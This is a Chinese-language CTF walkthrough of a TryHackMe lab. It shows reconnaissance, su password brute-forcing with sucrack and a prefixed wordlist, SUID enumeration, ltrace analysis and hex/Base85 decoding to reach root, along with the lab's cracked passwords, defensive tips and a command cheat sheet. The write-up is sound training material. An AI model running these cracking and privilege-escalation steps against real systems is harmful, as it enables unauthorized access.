Different CTF TryHackMe
字数 1459 2025-10-26 18:21:34

TryHackMe渗透测试实战教学文档

概述

本教学文档基于TryHackMe平台的CTF挑战,详细记录了从信息收集到最终获取root权限的完整渗透测试过程。文档将按照渗透测试的标准流程组织内容,涵盖Web安全、密码破解、权限提升等关键技术点。

环境准备

  • 目标系统:TryHackMe靶机
  • 工具准备:sucrack、010 Editor、ltrace、标准Linux工具

渗透测试过程

1. 信息收集与侦察

1.1 端口扫描与服务识别

# 使用nmap进行端口扫描
nmap -sS -sV -p- <target_ip>

发现开放端口:

  • 80/tcp: HTTP服务
  • 21/tcp: FTP服务

1.2 Web目录枚举

# 使用dirb或gobuster进行目录扫描
gobuster dir -u http://<target_ip> -w /usr/share/wordlists/dirb/common.txt

2. Web应用渗透

2.1 初始访问

访问80端口Web服务,发现以下关键信息:

  • 主站页面包含有用线索
  • 存在子域名或虚拟主机

2.2 文件发现

在/var/www/html目录下发现关键文件:

# 通过Web访问或目录遍历发现
/var/www/html/wwe3bbfla4g.txt  # 任务一标志文件

3. 用户枚举与密码破解

3.1 用户发现

通过系统侦察发现存在用户:

  • hakanbey(目标用户)

3.2 密码破解准备

工具准备:
下载sucrack工具:

# 从Arch Linux仓库获取
wget https://archlinux.pkgs.org/rolling/archstrike-x86_64/sucrack-1.2.3-3-x86_64.pkg.tar.xz

文件上传方法:

  1. FTP上传(如果FTP服务允许)
  2. Apache Web目录上传(如果具有写权限)

3.3 密码字典优化

基于情报"密码都有123nada"前缀,优化密码字典:

# 使用sed命令为密码字典添加前缀
sed 's/^/123nada/' password.txt > new_password.txt

3.4 执行密码破解

# 使用sucrack进行密码破解
./sucrack -u hakanbey -w 100 -b 500 new_password.txt

# 参数说明:
# -u: 指定用户名
# -w: 工作线程数
# -b: 每个进程尝试的密码数

破解结果:
成功获取hakanbey用户密码:123adanasubaru

4. 权限提升:hakanbey → root

4.1 初始访问优化

提升shell交互体验:

# 升级到完全交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 切换用户
su hakanbey
# 输入密码:123adanasubaru

4.2 寻找提权向量

方法一:SUID权限文件查找

find / -perm -u=s -type f 2>/dev/null

方法二:替代查找命令

find / -perm /4000 2>/dev/null

4.3 分析可疑二进制文件

发现可疑SUID二进制文件:/usr/bin/binary

使用ltrace进行动态分析:

ltrace /usr/bin/binary

交互过程:

  1. 程序提示输入字符串
  2. 输入:warzoneinadana
  3. 输出:获得一张图片的提示

4.4 十六进制分析

使用010 Editor分析:

  1. 重点关注00000020行附近的数据
  2. 发现编码的root密码线索

4.5 密码解码过程

解码流程:

  1. From Hex: 将十六进制数据转换为可读格式
  2. Base85解码: 将Base85编码的数据解码为明文

示例命令:

# Python解码示例
import base64

# 假设从十六进制分析获得的数据
hex_data = "..."  # 实际十六进制数据
decoded_hex = bytes.fromhex(hex_data)
base85_decoded = base64.b85decode(decoded_hex)
root_password = base85_decoded.decode('utf-8')

5. 最终权限获取

使用解码获得的root密码完成权限提升:

su root
# 输入解码获得的root密码

关键技术总结

5.1 密码破解技巧

  • 字典优化: 基于目标特征(如已知前缀)优化密码字典
  • 工具选择: sucrack专门用于su密码破解,效率较高
  • 参数调优: 合理设置线程数和批量大小提升破解速度

5.2 权限提升方法

  • SUID利用: 查找具有SUID权限的可执行文件
  • 二进制分析: 使用ltrace进行动态跟踪分析
  • 数据隐写: 从二进制文件中提取隐藏信息

5.3 编码识别与解码

  • 十六进制分析: 使用专业工具(010 Editor)进行深度分析
  • 编码识别: 识别Base85等不常见编码格式
  • 解码链: 建立正确的解码顺序(Hex → Base85)

防御建议

6.1 针对已发现漏洞的防护措施

6.1.1 密码安全

# 实施强密码策略
# 禁用常见密码模式
# 定期更换密码

6.1.2 文件权限管理

# 定期审查SUID文件
find / -perm -u=s -type f 2>/dev/null
# 移除不必要的SUID权限
chmod u-s /path/to/file

6.1.3 二进制安全

  • 避免在二进制文件中硬编码敏感信息
  • 实施代码审查和安全测试
  • 使用代码混淆工具保护敏感逻辑

附录:工具命令速查

信息收集

nmap -sS -sV -p- <target_ip>
gobuster dir -u http://<target_ip> -w wordlist.txt

密码破解

sed 's/^/prefix/' wordlist.txt > new_wordlist.txt
./sucrack -u username -w 50 -b 200 wordlist.txt

权限提升

find / -perm -u=s -type f 2>/dev/null
ltrace /path/to/binary

编码解码

# Hex解码
bytes.fromhex(hex_string)

# Base85解码
base64.b85decode(encoded_data)

本教学文档完整记录了从初始访问到最终获取root权限的全过程,涵盖了现代渗透测试中的关键技术和分析方法。通过系统性地应用这些技术,安全专业人员可以更好地理解系统漏洞并实施有效的防护措施。

TryHackMe渗透测试实战教学文档 概述 本教学文档基于TryHackMe平台的CTF挑战,详细记录了从信息收集到最终获取root权限的完整渗透测试过程。文档将按照渗透测试的标准流程组织内容,涵盖Web安全、密码破解、权限提升等关键技术点。 环境准备 目标系统:TryHackMe靶机 工具准备:sucrack、010 Editor、ltrace、标准Linux工具 渗透测试过程 1. 信息收集与侦察 1.1 端口扫描与服务识别 发现开放端口: 80/tcp: HTTP服务 21/tcp: FTP服务 1.2 Web目录枚举 2. Web应用渗透 2.1 初始访问 访问80端口Web服务,发现以下关键信息: 主站页面包含有用线索 存在子域名或虚拟主机 2.2 文件发现 在/var/www/html目录下发现关键文件: 3. 用户枚举与密码破解 3.1 用户发现 通过系统侦察发现存在用户: hakanbey(目标用户) 3.2 密码破解准备 工具准备: 下载sucrack工具: 文件上传方法: FTP上传(如果FTP服务允许) Apache Web目录上传(如果具有写权限) 3.3 密码字典优化 基于情报"密码都有123nada"前缀,优化密码字典: 3.4 执行密码破解 破解结果: 成功获取hakanbey用户密码: 123adanasubaru 4. 权限提升:hakanbey → root 4.1 初始访问优化 提升shell交互体验: 4.2 寻找提权向量 方法一:SUID权限文件查找 方法二:替代查找命令 4.3 分析可疑二进制文件 发现可疑SUID二进制文件: /usr/bin/binary 使用ltrace进行动态分析: 交互过程: 程序提示输入字符串 输入: warzoneinadana 输出:获得一张图片的提示 4.4 十六进制分析 使用010 Editor分析: 重点关注00000020行附近的数据 发现编码的root密码线索 4.5 密码解码过程 解码流程: From Hex : 将十六进制数据转换为可读格式 Base85解码 : 将Base85编码的数据解码为明文 示例命令: 5. 最终权限获取 使用解码获得的root密码完成权限提升: 关键技术总结 5.1 密码破解技巧 字典优化 : 基于目标特征(如已知前缀)优化密码字典 工具选择 : sucrack专门用于su密码破解,效率较高 参数调优 : 合理设置线程数和批量大小提升破解速度 5.2 权限提升方法 SUID利用 : 查找具有SUID权限的可执行文件 二进制分析 : 使用ltrace进行动态跟踪分析 数据隐写 : 从二进制文件中提取隐藏信息 5.3 编码识别与解码 十六进制分析 : 使用专业工具(010 Editor)进行深度分析 编码识别 : 识别Base85等不常见编码格式 解码链 : 建立正确的解码顺序(Hex → Base85) 防御建议 6.1 针对已发现漏洞的防护措施 6.1.1 密码安全 6.1.2 文件权限管理 6.1.3 二进制安全 避免在二进制文件中硬编码敏感信息 实施代码审查和安全测试 使用代码混淆工具保护敏感逻辑 附录:工具命令速查 信息收集 密码破解 权限提升 编码解码 本教学文档完整记录了从初始访问到最终获取root权限的全过程,涵盖了现代渗透测试中的关键技术和分析方法。通过系统性地应用这些技术,安全专业人员可以更好地理解系统漏洞并实施有效的防护措施。